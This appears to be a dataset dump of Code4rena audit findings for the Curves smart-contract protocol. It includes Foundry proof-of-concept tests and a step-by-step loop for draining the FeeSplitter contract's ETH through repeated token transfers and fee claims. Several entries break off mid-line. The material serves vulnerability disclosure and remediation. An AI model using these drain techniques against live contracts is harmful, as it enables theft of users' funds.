xanoutas/solidity-security-findings huggingface dataset:
Attacker can drain all the funds from the `FeeSplitter` contract
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L63-L71
https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L73-L78
https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L80-L87


# Vulnerability details

## Impact
Transfering CurveTokens using `transferCurvesToken` and `transferAllCurvesTokens` functions to new addresses can drain all the funds from `FeeSplitter` contract.

## Bug
The vulnerability arises due to not updating `tokensData` variable in `FeeSplitter` contract.

Every time a user transfers his CurveTokens to another address, `userFeeOffset` reset to 0, as there is no logic present.

As shown in the code, this makes it possible to claim largest amount of `unclaimedFees` possible for every time any user transfers their CurveTokens to a new address.
```javascript
    function updateFeeCredit(address token, address account) internal {
        TokenData storage data = tokensData[token];
        uint256 balance = balanceOf(token, account);
        if (balance > 0) {
            uint256 owed = (data.cumulativeFeePerToken -
                data.userFeeOffset[account]) * balance;
            data.unclaimedFees[account] += owed / PRECISION;
            data.userFeeOffset[account] = data.cumulativeFeePerToken;
        }
    }
```
Attacker can repeatedly transfer their CurveToken address to drain all the funds from `FeeSplitter` contract.

## Proof of Concept
Here is the foundry [test file](https://gist.github.com/0x0bserve/64833859a6c3b47ac1c20b8318cdbfe2)

Here is the test with main logic of the exploit:
```javascript
    function testTransferDrainsHolderFees() public {
        // Owner sets ExternalFeePercent
        vm.startPrank(owner);
        curves.setMaxFeePercent(5e16);
        curves.setExternalFeePercent(1e16, 1e16, 1e16);
        feeSplitter.setCurves(curves);
        vm.stopPrank();

        // Creator buys the first CurveToken
        vm.prank(creator);
        curves.buyCurvesToken(creator, 1);

        // Some transactions of CurveToken
        vm.prank(user);
        curves.buyCurvesToken{value: 1 ether}(creator, 10);

        // Attacker buys CurveTokens and claims holderFee
        vm.startPrank(attacker);
        curves.buyCurvesToken{value: 1 ether}(creator, 10);
        console.log(
            "HolderFees claimable before calling claimFees:",
            feeSplitter.getClaimableFees(creator, attacker)
        );
        feeSplitter.claimFees(creator);
        // After the above line, attacker should not be able to collect more holderFees
        // as there is no new transaction for this token but attacker can transfer it's
        // CurveTokens to it's new address and claim all funds of this CurveToken
        console.log(
            "HolderFees claimable after calling claimFees:",
            feeSplitter.get
[H4] FeeSplitter can be drained due to incorrect update of userFeeOffset
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L96-L100
https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L313-L325


# Vulnerability details

### Impact

   Drain FeeSplitter contract

### Proof of Concept

To explain this attack first you have to take a look at this struct that is used to claim fees

    struct TokenData {
        uint256 cumulativeFeePerToken;
        mapping(address => uint256) userFeeOffset;
        mapping(address => uint256) unclaimedFees;
    }

The variable `userFeeOffset` is updated **only by msg.sender** at two functions

* `onBalanceChange`   -> called when users buy or sells tokens
* ` claimFees` and `batchClaiming` (both calls `updateFeeCredit`)  ->

In essence when you transfer tokens to a new user this variable will be zero an there is where the attack comes.

### The attack

   The attacker will select a token with the highest `cumulativeFeePerToken` to perform the attack more efficiently and buys N tokens for it.
   Then he will loop
 1. Transfer N tokens using `transferCurvesToken` in `Curves` to another EOA controlled by him.
 2. Call `claimFees()` in `FeeSplitter` from that account ....  He will receive
         `(data.cumulativeFeePerToken - data.userFeeOffset[account]) * balance ;` divided by `PRECISION`  in ether.
                               
 4. If more ether remaining Back to step 1 .

The attacker can repeat this method until no more ETH is in FeeSplitter.  
   
### Recommendation

For your protocol I suggest you to implement functions like
`beforeTokenTransfer` and `afterTokenTransfer` to avoid these issues.

You will need to `updateFeeCredit` in `beforeTokenTranfer` for the sender and the receiver in order to avoid the attack. 






## Assessed type

Token-Transfer
Locked ETH in FeeSplitter & Curves can't be withdrawn
Audit: 2024-01-curves-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L263
https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L180
https://github.com/code-423n4/2024-01-curves/blob/main/contracts/FeeSplitter.sol#L68


# Vulnerability details

## Overview

In FeeSplitter & Curves, payments can only be made by the native token, and both contracts utilize mathematical calculations to handle ETH payments. Due to rounding errors, precision loss, and users sending excess ETH, some ETH inevitably gets stuck in both contracts.

## Impact

Locked ETH remains in FeeSplitter & Curves contracts, and no recovery mechanism is available.

## Proof of Concept

Various issues lead to the same issue with a common fix, consolidated for clarity:

**Refund Absence:** The protocol fails to refund overpayments of ETH in [_buyCurvesToken()](https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L263), causing funds to be permanently locked.

**getPrice() Function:** The Curves contract employs [getPrice()](https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L180) to calculate prices based on supply and given amounts, leading to excess ETH in the contract due to price fluctuations.

**updateFeeCredit() Function:** The function responsible for calculating and updating user owed amounts, [if owed < PRECISION](https://github.com/code-423n4/2024-01-curves/blob/main/contracts/FeeSplitter.sol#L68), causes ETH to be stuck in the FeeSplitter contract.

#### A coded PoC shows how ETH will be stuck with simple trading:

```solidity
    function testStuckEth() public {
        vm.prank(alice);
        curves.mint(alice);

        // Alice will buy the first token
        vm.prank(alice);
        curves.buyCurvesToken(alice, 1);

        // Bob buy
        uint256 amount = curves.getBuyPriceAfterFee(alice, 50);

        vm.deal(bob, amount);

        console.log("Bob ETH balance before buy :", bob.balance);

        vm.prank(bob);
        curves.buyCurvesToken{value: amount}(alice, 50);

        // Jim buy
        amount = curves.getBuyPriceAfterFee(alice, 100);

        vm.deal(jim, amount);

        console.log("Jim ETH balance before buy :", jim.balance);

        vm.prank(jim);
        curves.buyCurvesToken{value: amount}(alice, 100);

        // Bob sell
        vm.prank(bob);
        curves.sellCurvesToken(alice, 50);

        // Jim sell
        vm.prank(jim);
        curves.sellCurvesToken(alice, 100);

        console.log("Bob ETH balance after sell :", bob.balance);
        console.log("Jim ETH balance after sell :", jim.balance);
        console.log("Stuck ETH in curve         :", address(curves).balance);
    }
```

#### Logs result: 

```yaml
  Bob ETH balance before buy : 2816953125000000000
  Jim ETH balance before buy : 71751093750000000000
  Bob ETH balance after sell : 47376796875000000000
  Jim E
Any user can deploy any creator's ERC20 token with default name and Symbol
Audit: 2024-01-curves-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L479-L483


# Vulnerability details

function withdraw(address curvesTokenSubject, uint256 amount) public {
        if (amount > curvesTokenBalance[curvesTokenSubject][msg.sender])
            revert InsufficientBalance();
        // Adjusted to fix [M-02] issue
        if (externalCurvesTokens[curvesTokenSubject].token == address(0))
            revert InvalidERC20Metadata();

        address externalToken = externalCurvesTokens[curvesTokenSubject].token;
        if (externalToken == address(0)) {
            if (
                keccak256(
                    abi.encodePacked(
                        externalCurvesTokens[curvesTokenSubject].name
                    )
                ) ==
                keccak256(abi.encodePacked("")) ||
                keccak256(
                    abi.encodePacked(
                        externalCurvesTokens[curvesTokenSubject].symbol
                    )
                ) ==
                keccak256(abi.encodePacked(""))
            ) {
                externalCurvesTokens[curvesTokenSubject].name = DEFAULT_NAME;
                externalCurvesTokens[curvesTokenSubject]
                    .symbol = DEFAULT_SYMBOL;
            }
            _deployERC20(
                curvesTokenSubject,
                externalCurvesTokens[curvesTokenSubject].name,
                externalCurvesTokens[curvesTokenSubject].symbol
            );
            externalToken = externalCurvesTokens[curvesTokenSubject].token;
        }
        _transfer(curvesTokenSubject, msg.sender, address(this), amount);
        CurvesERC20(externalToken).mint(msg.sender, amount * 1 ether);
    }


## Assessed type

Context
No-refund for Users who Sends More Than The Price and Involved Fees
Audit: 2024-01-curves-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L270


# Vulnerability details

## Impact
Detailed description of the impact of this finding.

In the _buyCurvesToken, it expects that users do not send an ether value that is less than the summation of the price and totalFee. When users who are luxurious enough to send in more ether than the summation when they intend to buy the Curves token, extra ethers would be sent into the contract and cannot be retrieved even when they sell curves token.

## Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

`function testRefundedEth() external {
        vm.prank(owner);
        curves.buyCurvesToken(owner, 1);

        uint pricewithFee = curves.getBuyPriceAfterFee(owner, 10);
        vm.deal(user1, 10 ether);

        vm.prank(user1);
         // make user1 buy with more ethers
        curves.buyCurvesToken{value: 10 ether}(owner, 10);
        console2.log(user1.balance, pricewithFee, 10 ether - pricewithFee);
        assertNotEq(user1.balance, 10 ether - pricewithFee);
    }`

## Tools Used
Manual review, Foundry

## Recommended Mitigation Steps
Design the function to refund excess ethers sent into the protocol since the protocol expects that users must either send the exact amount of the summation of price and totalFees or more ether greater than the summation. This refund mechanism could be designed in this model.

```
 function _buyCurvesToken(address curvesTokenSubject, uint256 amount) internal {
       ...

        if (msg.value < price + totalFee) revert InsufficientPayment();

        ...

       if (msg.value > price + totalFee) {
       msg.sender.call{value: msg.value - (price + totalFee)}("")
       }
    }
```


## Assessed type

ETH-Transfer
users can claim unlimited fees due to wrong track of user claimable fees 
Audit: 2024-01-curves-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L80


# Vulnerability details

## Impact
the claimable fee calculation in `FeeSplitter.sol` is wrong and users can claim unlimited fee because of non accurate track of claimed fees in `userFeeOffset` in `updateFeeCredit` function and thus the `getClaimableFees` 

lets look at the calculation of the claimable fees of user or the fee owe of the contract to user `        uint256 owed = (data.cumulativeFeePerToken - data.userFeeOffset[account]) * balance;
`
so basically user can increase token amount by 1 => so `(data.cumulativeFeePerToken - data.userFeeOffset[account])` is going to be non-zero and then because its going to multiply by balance the balance of user still benefiting the user while user should not be able to claim fee for those past balance which claimed in the past. 

and the `userFeeOffset` is not going to actually save this.
## Proof of Concept
```solidity 
  function updateFeeCredit(address token, address account) internal {
        TokenData storage data = tokensData[token];
        uint256 balance = balanceOf(token, account);
        if (balance > 0) {
            uint256 owed = (data.cumulativeFeePerToken - data.userFeeOffset[account]) * balance;
            data.unclaimedFees[account] += owed / PRECISION;
            data.userFeeOffset[account] = data.cumulativeFeePerToken;
        }
    }

    function getClaimableFees(address token, address account) public view returns (uint256) {
        TokenData storage data = tokensData[token];
        uint256 balance = balanceOf(token, account);
        uint256 owed = (data.cumulativeFeePerToken - data.userFeeOffset[account]) * balance;
        return (owed / PRECISION) + data.unclaimedFees[account];
    }

    function claimFees(address token) external {
        updateFeeCredit(token, msg.sender);
        uint256 claimable = getClaimableFees(token, msg.sender);
        if (claimable == 0) revert NoFeesToClaim();
        tokensData[token].unclaimedFees[msg.sender] = 0;
        payable(msg.sender).transfer(claimable);
        emit FeesClaimed(token, msg.sender, claimable);
    }
```
## Tools Used
vs code
## Recommended Mitigation Steps
- consider not multiplying the whole balance and just multiply for the amount that ser didn't actually claimed the fees for.



## Assessed type

Other
Not transferring "protocolFee" in case of "sellCurvesToken"
Audit: 2024-01-curves-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L282
https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L218


# Vulnerability details

## Impact
In case of selling the curves token, protocol won't get any fees even though `protocolFee` is subtracted from `price`.

## Proof of Concept

`sellCurvesToken` function calls `_transferFees` function ( https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L282 ):

```solidity
    function sellCurvesToken(address curvesTokenSubject, uint256 amount) public {
        uint256 supply = curvesTokenSupply[curvesTokenSubject];
        if (supply <= amount) revert LastTokenCannotBeSold();
        if (curvesTokenBalance[curvesTokenSubject][msg.sender] < amount) revert InsufficientBalance();

        uint256 price = getPrice(supply - amount, amount);

        curvesTokenBalance[curvesTokenSubject][msg.sender] -= amount;
        curvesTokenSupply[curvesTokenSubject] = supply - amount;

@->        _transferFees(curvesTokenSubject, false, price, amount, supply);
    }
```

And in `_transferFees`, even though `protocolFee` is subtracted from `price`, it's not transferred to `feesEconomics.protocolFeeDestination` ( https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L218 ) :

```solidity
    function _transferFees(
        address curvesTokenSubject,
        bool isBuy,
        uint256 price,
        uint256 amount,
        uint256 supply
    ) internal {
        (uint256 protocolFee, uint256 subjectFee, uint256 referralFee, uint256 holderFee, ) = getFees(price);
        {
            bool referralDefined = referralFeeDestination[curvesTokenSubject] != address(0);
            {
                address firstDestination = isBuy ? feesEconomics.protocolFeeDestination : msg.sender;
                uint256 buyValue = referralDefined ? protocolFee : protocolFee + referralFee;
@->                uint256 sellValue = price - protocolFee - subjectFee - referralFee - holderFee;
                (bool success1, ) = firstDestination.call{value: isBuy ? buyValue : sellValue}("");
                if (!success1) revert CannotSendFunds();
            }
            {
                (bool success2, ) = curvesTokenSubject.call{value: subjectFee}("");
                if (!success2) revert CannotSendFunds();
            }
            {
                (bool success3, ) = referralDefined
                    ? referralFeeDestination[curvesTokenSubject].call{value: referralFee}("")
                    : (true, bytes(""));
                if (!success3) revert CannotSendFunds();
            }

            if (feesEconomics.holdersFeePercent > 0 && address(feeRedistributor) != address(0)) {
                feeRedistributor.onBalanceChange(curvesTokenSubject, msg.sender);
                feeRedistributor.addFees{value: holderFee}(curvesTokenSubject);
            }
        }
        emit Trade(
            msg.sender,
            curv
deposit in Curves.sol could be front-run leading to DOS
Audit: 2024-01-curves-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Curves.sol#L498


# Vulnerability details

## Impact
The user being front-run can't deposit their curvesTokenSubject into Curves again as the balance of Curves is not enough

## Proof of Concept
1. Alice has 100 curvesTokenSubject and want to deposit to Curves
2. curvesTokenSubject balance of Curves now is 200
3. Bob front-runs Alice and deposit with 101 curvesTokenSubject
4. As the balance is now only 99, Curves rejects the deposit tx of Alice

## Tools Used
Manual Review

## Recommended Mitigation Steps
Use a private pool for deposit transactions and implement a queue for deposit.


## Assessed type

DoS
https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L240-L244
Audit: 2024-01-curves-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L240-L244


# Vulnerability details

## Impact

Fees are transferred using the `_transferFees` function when Curves tokens are bought or sold. Inside this function there is an external call to the referral address to transfer their fees. If the referral address is a contract containing a fallback or receive function they could control the market for their Curves token by adding functionality such as pausing or whitelisting.

## Proof of Concept

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L240-L244

```solidity
(bool success3, ) = referralDefined
                    ? referralFeeDestination[curvesTokenSubject].call{value: referralFee}("")
                    : (true, bytes(""));
                if (!success3) revert CannotSendFunds();
```

## Tools Used

Manual Review

## Recommended Mitigation Steps

None


## Assessed type

Other
Curves token subject can add pausable/whitelisting functionality
Audit: 2024-01-curves-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L236-L238


# Vulnerability details

## Impact

Fees are transferred using the `_transferFees` function when Curves tokens are bought or sold. Inside this function there is an external call to the subject address to transfer their fees. If the subject address is a contract containing a fallback or receive function they could control the market for their Curves token by adding functionality such as pausing or whitelisting.

## Proof of Concept

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L236-L238

```solidity
(bool success2, ) = curvesTokenSubject.call{value: subjectFee}("");
                if (!success2) revert CannotSendFunds();
```

## Tools Used

Manual Review

## Recommended Mitigation Steps

None


## Assessed type

Other
`` FeeSplitter :: claimFees ``  claim transaction can revert if msg.sender is a contract that does not receive funds
Audit: 2024-01-curves-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L80


# Vulnerability details

## Impact
transaction revert and cause a DOS attack
 
## Tools Used
manual

## Recommended Mitigation Steps
Use Safetransfer instead of tranfer


## Assessed type

DoS
Lack of slippage control in _buyCurvesToken function
Audit: 2024-01-curves-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L263


# Vulnerability details

Lack of slippage control in _buyCurvesToken function 
 
 The _buyCurvesToken function of the Curves contract,
 enables users to deposit assets into the protocol, getting tokens in return.
 The function doesn’t have any type of slippage control; 
 this is relevant in the context of the _buyCurvesToken function,
 since the amount of tokens received by the user is determined by an
 interaction, meaning that the amount received in return 
 may vary indefinitely while the request is waiting to be executed.
 
 
 function _buyCurvesToken(address curvesTokenSubject, uint256 amount) internal {
        uint256 supply = curvesTokenSupply[curvesTokenSubject];
        if (!(supply > 0 || curvesTokenSubject == msg.sender)) revert UnauthorizedCurvesTokenSubject();

        uint256 price = getPrice(supply, amount);
        (, , , , uint256 totalFee) = getFees(price);

        if (msg.value < price + totalFee) revert InsufficientPayment();

        curvesTokenBalance[curvesTokenSubject][msg.sender] += amount;
        curvesTokenSupply[curvesTokenSubject] = supply + amount;
        _transferFees(curvesTokenSubject, true, price, amount, supply);

        // If is the first token bought, add to the list of owned tokens
        if (curvesTokenBalance[curvesTokenSubject][msg.sender] - amount == 0) {
            _addOwnedCurvesTokenSubject(msg.sender, curvesTokenSubject);
        }
    }

Meaning that users have no control over how many tokens they will get in return for depositing in the contract.

Recommended Mitigation Steps
An additional parameter could be added to the _buyCurvesToken function,
to let users decide the minimum amount of tokens to be received, 
with a relative check after minting.


## Assessed type

Other